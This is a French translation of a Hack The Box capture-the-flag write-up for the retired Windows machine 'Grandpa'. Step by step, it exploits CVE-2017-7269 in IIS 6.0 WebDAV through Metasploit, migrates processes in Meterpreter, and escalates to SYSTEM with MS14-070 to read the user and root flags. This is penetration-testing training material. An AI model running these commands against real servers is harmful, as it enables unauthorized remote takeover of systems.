Article original : Keep Calm and Hack The Box - Grandpa
Hack The Box (HTB) est une plateforme en ligne qui vous permet de tester vos compétences en matière de tests d'intrusion. Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent davantage vers un style de défi CTF.
Note. Seuls les write-ups des machines HTB retirées sont autorisés.

Grandpa est l'une des machines les plus simples sur Hack The Box, cependant elle couvre le CVE-2017-7269 largement exploité. Cette vulnérabilité est triviale à exploiter et a accordé un accès immédiat à des milliers de serveurs IIS dans le monde lorsqu'elle est devenue de notoriété publique.
Nous allons utiliser les outils suivants pour pirater la boîte sur une Kali Linux box
- nmap
- Searchsploit
- davtest
- Metasploit
- Local exploit suggester
Commençons.
J'ajoute grandpa dans le fichier /etc/hosts
nano /etc/hosts
avec
10.10.10.14 grandpa.htb

Étape 1 - Reconnaissance
La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.
C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.
Scanning des ports
Je vais utiliser Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseau et l'audit de sécurité. Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.
Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

J'utilise la commande suivante pour effectuer un scan intensif :
nmap -A -v grandpa.htb
-A: Active la détection du système d'exploitation, la détection de version, le scanning de script et le traceroute
-v: Augmente le niveau de verbosité
grandpa.htb: nom d'hôte pour la boîte Grandpa
Si vous trouvez les résultats un peu trop écrasants, vous pouvez faire une autre commande pour obtenir uniquement les ports ouverts.
nmap grandpa.htb

Nous pouvons voir qu'il n'y a qu'un seul port ouvert :
Port 80. le plus souvent utilisé par le protocole Hypertext Transfer Protocol (HTTP)
Nous savons que le serveur est un IIS 6.0 à partir de l'en-tête http-server-header. Internet Information Services (IIS, anciennement Internet Information Server) est un logiciel de serveur web extensible créé par Microsoft pour une utilisation avec la famille Windows NT. Plus d'informations ici
IIS 6.0 (nom de code "Duct Tape"), inclus avec Windows Server 2003 et Windows XP Professional x64 Edition, a ajouté la prise en charge de IPv6 et incluait un nouveau modèle de processus de travail qui augmentait la sécurité ainsi que la fiabilité HTTP.sys a été introduit dans IIS 6.0 en tant qu'écouteur de protocole spécifique à HTTP pour les requêtes HTTP
Nous pouvons également voir à partir du http-title que le site web est "en construction" et qu'il y a un http-webdav-scan avec toutes les méthodes autorisées
J'utilise le script nmap pour essayer d'obtenir plus d'informations. Le script envoie une requête OPTIONS qui liste le type dav, le type de serveur, la date et les méthodes autorisées. Il envoie ensuite une requête PROPFIND et essaie de récupérer les répertoires exposés et les adresses IP internes en effectuant une correspondance de motifs dans le corps de la réponse
nmap --script http-webdav-scan -p80 grandpa.htb
Voici plus d'info sur ce script à partir du site web de nmap

WebDAV ou Web Distributed Authoring and Versioning (WebDAV) est une extension du protocole Hypertext Transfer Protocol qui permet aux clients d'effectuer des opérations d'édition de contenu web à distance. Plus d'informations ici
Nous pouvons voir dans la section support du serveur que Microsoft's IIS a un module WebDAV.
J'utilise davtest pour vérifier si je peux télécharger des fichiers

J'utilise la commande suivante
davtest -url http://10.10.10.14

Cela ne semble pas possible. J'utilise Searchsploit pour vérifier s'il y a une vulnérabilité connue sur IIS 6.0. Searchsploit est un outil de recherche en ligne de commande pour Exploit Database

J'utilise la commande suivante
searchsploit iis 6.0

Je peux obtenir plus de détails sur l'exploit avec
searchsploit -x 41738.py

L'attaque est basée sur une chaîne de Return-oriented programming. Return-oriented programming (ROP) est une technique d'exploitation de sécurité qui permet à un attaquant d'exécuter du code en présence de défenses de sécurité telles que la protection de l'espace exécutable et la signature de code
Vous pouvez également consulter la Exploit Database pour trouver l'exploit
https://www.exploit-db.com/search?q=iis+6.0
https://www.exploit-db.com/exploits/41738
la National Vulnerability Database
https://nvd.nist.gov/vuln/detail/CVE-2017-7269
la base de données Common Vulnerabilities and Exposure

https://www.cvedetails.com/cve/CVE-2017-7269/
Il y a un module Metasploit disponible
_https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl_
Étape 2 - Visite du site web
Nous ne voyons pas grand-chose en visitant le site web. À partir de la console du développeur, nous pouvons voir qu'il est alimenté par le framework ASP.NET

Nous allons utiliser Metasploit, qui est un framework de test de pénétration qui simplifie le piratage. C'est un outil essentiel pour de nombreux attaquants et défenseurs
Je lance Metasploit Framework sur Kali et cherche la commande que je devrais utiliser pour lancer l'exploit

Si j'utilise cette commande
searchsploit iis 6.0
J'obtiens le même tableau que celui que j'avais depuis le Terminal plus tôt
Si je tape
search iis 6.0
J'obtiens 174 résultats

L'exploit qui m'intéresse est le numéro 147 sur cette liste
Si vous souhaitez avoir des informations sur l'exploit, vous pouvez utiliser la commande suivante
info exploit/windows/iis/iis_webdav_scstoragepathfromurl
Et vous obtiendrez plus de détails sur l'exploit

J'utilise la commande suivante pour utiliser l'exploit
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
Je dois configurer les options avant de lancer l'exploit. Je vérifie les options avec
show options

Je configure RHOSTS avec la commande suivante
set RHOSTS 10.10.10.14
Lorsque je vérifie à nouveau les options, j'obtiens ceci

Je vérifie si la cible est vulnérable avec
check
Ensuite, je lance l'exploit avec la commande
exploit

Et j'obtiens une session Meterpreter
D'après le site Offensive Security, nous obtenons cette définition pour Meterpreter
Meterpreter est une charge utile avancée, dynamiquement extensible qui utilise des stagers d'injection de DLL in-memory et est étendue sur le réseau au moment de l'exécution. Il communique via la socket du stager et fournit une API Ruby complète côté client. Il dispose d'un historique des commandes, d'une complétion par tabulation, de canaux, et plus encore.
Vous pouvez en savoir plus sur Meterpreter ici
Commençons par recueillir quelques informations
getuid retourne le vrai identifiant utilisateur du processus appelant. La session que j'ai obtenue ne semble pas avoir suffisamment de privilèges pour exécuter cette commande. L'accès est refusé

Lorsque cela se produit, je liste les processus en cours avec
ps
et j'en choisis un qui s'exécute sous NT AUTHORITY\NETWORK SERVICE

Je migre vers le processus 3644 avec
migrate 3644

Maintenant, lorsque je vérifie getuid, j'obtiens
Server username: NT AUTHORITY\NETWORK SERVICE

C'était la session que j'ai obtenue au début avant de migrer vers un autre processus

C'est la session que j'ai obtenue après avoir migré vers un autre processus

Je tape la commande suivante pour obtenir un shell standard sur le système cible
shell

Je vérifie qui je suis sur la machine avec la commande
whoami

J'obtiens plus d'informations de la machine avec
systeminfo

Je navigue vers C:\

puis Documents and Settings avec
cd "Documents and Settings"

Je peux voir deux utilisateurs - Administrator et Harry. J'essaie de naviguer vers Harry. L'accès est refusé. Même chose pour le dossier Administrator - ce qui est attendu car je n'ai pas encore accès root

Je quitte le shell avec la commande
exit

Étape 3 - Utilisation du local exploit suggester
J'exécute le local exploit suggester. Les exploits sont suggérés en fonction de l'architecture et de la plateforme sur lesquelles l'utilisateur a ouvert un shell ainsi que des exploits disponibles dans meterpreter
run post/multi/recon/local_exploit_suggester

Je vais utiliser l'exploit MS14-070. Je cherche plus d'informations sur Metasploit avec
info exploit/windows/local/ms14_070_tcpip_ioctl

Ainsi que sur le site Rapid7
_https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl_
Étape 4 - Utilisation de MS14-070 pour effectuer une élévation de privilèges
Je mets cette session en arrière-plan avec la commande
background

J'exécute la commande suivante pour utiliser l'exploit que j'ai trouvé
use exploit/windows/local/ms14_070_tcpip_ioctl

Je vérifie ensuite les options de cet exploit

Je configure la session avec
set SESSION 1

J'exécute l'exploit avec
run

L'exploit a réussi mais je n'ai pas obtenu de shell en retour. Je vérifie les options

et je configure le LHOST avec mon IP avec
set LHOST 10.10.14.36
Vous pouvez vérifier la vôtre ici

Je lance ensuite l'exploit avec
exploit

Cela confirme que l'exploit a réussi mais je n'ai toujours pas de shell. Je vérifie la session avec
sessions -l
Je devrais avoir
NT AUTHORITY\SYSTEM

Ce qui n'est pas le cas maintenant, donc je reviens à cette session avec
sessions -i 1

Je vérifie getuid et j'obtiens NT AUTHORITY\SYSTEM en retour. J'obtiens un shell standard sur le système cible et je vérifie qui je suis sur la machine. J'obtiens NT AUTHORITY\NETWORK SERVICE en retour, ce qui n'est pas ce que je veux !
Je quitte ce shell et je vérifie les processus. Je peux voir que j'ai un accès admin sur la machine. Je dois simplement migrer vers un autre processus - ce que je fais avec
migrate 408

De retour au shell standard sur le système cible et lorsque je vérifie qui je suis sur la machine, je suis enfin un admin !
Étape 5 - Recherche du flag user.txt
Je navigue vers le dossier Harry depuis Documents and Settings
Je peux lister tous les fichiers/dossiers avec la commande suivante
dir
Je me déplace ensuite vers le Desktop

Et je trouve le flag utilisateur ! Je peux vérifier le contenu du fichier avec
type user.txt

Étape 6 - Recherche du flag root.txt
Trouvons le flag root maintenant ! Je navigue jusqu'à Users et je vérifie dans le dossier Administrator/Desktop. Je trouve le flag !

J'utilise la commande suivante pour voir le contenu du fichier
type root.txt

Félicitations ! Vous avez trouvé les deux flags !
N'hésitez pas à commenter, poser des questions ou partager avec vos amis :)
Vous pouvez voir plus de mes articles ici
Vous pouvez me suivre sur Twitter ou sur LinkedIn
Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !
Autres articles Hack The Box
- Restez calme et pirater la boîte - Lame
- Restez calme et pirater la boîte - Legacy
- Restez calme et pirater la boîte - Devel
- Restez calme et pirater la boîte - Beep
- Restez calme et pirater la boîte - Optimum
- Restez calme et pirater la boîte - Arctic
